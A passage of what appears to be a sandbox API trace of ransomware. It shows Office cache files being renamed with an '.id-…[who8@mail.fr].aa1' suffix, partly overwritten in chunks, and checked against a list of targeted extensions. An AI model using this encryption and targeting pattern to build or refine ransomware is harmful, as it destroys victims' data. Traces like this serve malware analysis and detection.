1 [0209.450] CloseHandle (hObject=0x1b0) returned 1 [0209.450] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab")) returned 0x2020 [0209.450] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0209.450] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0209.451] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0209.451] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0x0) returned 1 [0209.451] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0209.451] ReadFile (in: hFile=0x1b0, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0209.460] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0209.460] ReadFile (in: hFile=0x1b0, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0209.514] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0209.514] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0209.515] ReadFile (in: hFile=0x1b0, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0209.599] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.599] WriteFile (in: hFile=0x1b0, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x301fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0209.621] SetEndOfFile (hFile=0x1b0) returned 1 [0209.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f53090 [0209.625] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0209.625] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0209.626] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0209.626] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0209.632] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0209.632] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0209.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f53090 | out: hHeap=0x4f0000) returned 1 [0209.635] CloseHandle (hObject=0x1b0) returned 1 [0212.568] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0212.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0212.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0212.568] lstrlenW (lpString=".doc") returned 4 [0212.568] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0212.568] lstrlenW (lpString=".docx") returned 5 [0212.568] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0212.568] lstrlenW (lpString=".pdf") returned 4 [0212.568] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0212.568] lstrlenW (lpString=".xls") returned 4 [0212.568] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0212.568] lstrlenW (lpString=".xlsx") returned 5 [0212.568] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0212.569] lstrlenW (lpString=".ppt") returned 4 [0212.569] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0212.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0212.569] lstrlenW (lpString=".zip") returned 4 [0212.569] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0212.569] lstrlenW (lpString=".rar") returned 4 [0212.569] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0212.569] lstrlenW (lpString=".bz2") returned 4 [0212.569] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0212.569] lstrlenW (lpString=".7z") returned 3 [0212.569] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0212.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0212.569] lstrlenW (lpString=".dbf") returned 4 [0212.569] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0212.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0212.569] lstrlenW (lpString=".1cd") returned 4 [0212.569] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0212.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0212.569] lstrlenW (lpString=".jpg") returned 4 [0212.569] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0212.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0212.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0212.569] lstrlenW (lpString=".doc") returned 4 [0212.569] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0212.569] lstrlenW (lpString=".docx") returned 5 [0212.570] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0212.570] lstrlenW (lpString=".pdf") returned 4 [0212.570] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0212.570] lstrlenW (lpString=".xls") returned 4 [0212.570] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0212.570] lstrlenW (lpString=".xlsx") returned 5 [0212.570] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0212.570] lstrlenW (lpString=".ppt") returned 4 [0212.570] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0212.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0212.570] lstrlenW (lpString=".zip") returned 4 [0212.570] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0212.570] lstrlenW (lpString=".rar") returned 4 [0212.570] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0212.570] lstrlenW (lpString=".bz2") returned 4 [0212.570] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0212.570] lstrlenW (lpString=".7z") returned 3 [0212.570] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0212.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0212.570] lstrlenW (lpString=".dbf") returned 4 [0212.570] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0212.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0212.570] lstrlenW (lpString=".1cd") returned 4 [0212.570] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0212.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0212.570] lstrlenW (lpString=".jpg") returned 4 [0212.570] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0212.571] lstrcmpiW (lpString1=".msi", lpString2=".aa1") returned 1 [0212.571] lstrlenW (lpString="ProjectMUI.msi") returned 14 [0212.571] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0213.791] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2511872) returned 1 [0213.791] CloseHandle (hObject=0x164) returned 1 [0213.791] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi")) returned 0x2020 [0213.791] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0213.792] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0213.795] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0213.795] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0x0) returned 1 [0213.795] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0213.795] ReadFile (in: hFile=0x164, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.809] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0213.809] ReadFile (in: hFile=0x164, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.896] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0213.896] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0213.896] ReadFile (in: hFile=0x164, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.012] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.012] WriteFile (in: hFile=0x164, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x301fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0214.248] SetEndOfFile (hFile=0x164) returned 1 [0214.248] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f53090 [0214.252] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.252] WriteFile (in: hFile=0x164, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.253] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.253] WriteFile (in: hFile=0x164, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.259] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.259] WriteFile (in: hFile=0x164, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f53090 | out: hHeap=0x4f0000) returned 1 [0214.469] CloseHandle (hObject=0x164) returned 1 [0214.469] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0214.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0214.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0214.470] lstrlenW (lpString=".doc") returned 4 [0214.470] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0214.470] lstrlenW (lpString=".docx") returned 5 [0214.470] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0214.470] lstrlenW (lpString=".pdf") returned 4 [0214.470] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0214.470] lstrlenW (lpString=".xls") returned 4 [0214.470] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0214.470] lstrlenW (lpString=".xlsx") returned 5 [0214.470] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0214.470] lstrlenW (lpString=".ppt") returned 4 [0214.470] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0214.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0214.470] lstrlenW (lpString=".zip") returned 4 [0214.470] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0214.470] lstrlenW (lpString=".rar") returned 4 [0214.470] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0214.470] lstrlenW (lpString=".bz2") returned 4 [0214.470] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0214.470] lstrlenW (lpString=".7z") returned 3 [0214.470] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0214.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0214.470] lstrlenW (lpString=".dbf") returned 4 [0214.470] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0214.470] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0214.470] lstrlenW (lpString=".1cd") returned 4 [0214.471] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0214.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0214.471] lstrlenW (lpString=".jpg") returned 4 [0214.471] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0214.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0214.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0214.471] lstrlenW (lpString=".doc") returned 4 [0214.471] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0214.471] lstrlenW (lpString=".docx") returned 5 [0214.471] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0214.471] lstrlenW (lpString=".pdf") returned 4 [0214.471] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0214.471] lstrlenW (lpString=".xls") returned 4 [0214.471] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0214.471] lstrlenW (lpString=".xlsx") returned 5 [0214.471] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0214.471] lstrlenW (lpString=".ppt") returned 4 [0214.471] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0214.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0214.471] lstrlenW (lpString=".zip") returned 4 [0214.471] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0214.471] lstrlenW (lpString=".rar") returned 4 [0214.471] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0214.471] lstrlenW (lpString=".bz2") returned 4 [0214.471] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0214.471] lstrlenW (lpString=".7z") returned 3 [0214.472] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0214.472] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0214.472] lstrlenW (lpString=".dbf") returned 4 [0214.472] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0214.472] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0214.472] lstrlenW (lpString=".1cd") returned 4 [0214.472] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0214.472] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0214.472] lstrlenW (lpString=".jpg") returned 4 [0214.472] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0214.472] lstrcmpiW (lpString1=".cab", lpString2=".aa1") returned 1 [0214.472] lstrlenW (lpString="GrooveLR.cab") returned 12 [0214.472] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0214.473] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=4095519) returned 1 [0214.474] CloseHandle (hObject=0x164) returned 1 [0214.474] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab")) returned 0x2020 [0214.476] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0214.476] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0214.477] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0214.477] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0x0) returned 1 [0214.477] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0214.477] ReadFile (in: hFile=0x164, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.496] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0214.496] ReadFile (in: hFile=0x164, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.499] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0214.499] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0214.499] ReadFile (in: hFile=0x164, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.567] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.568] WriteFile (in: hFile=0x164, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x301fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0214.751] SetEndOfFile (hFile=0x164) returned 1 [0214.751] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3fd40a8 [0214.754] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.754] WriteFile (in: hFile=0x164, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.757] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.757] WriteFile (in: hFile=0x164, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.759] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.759] WriteFile (in: hFile=0x164, 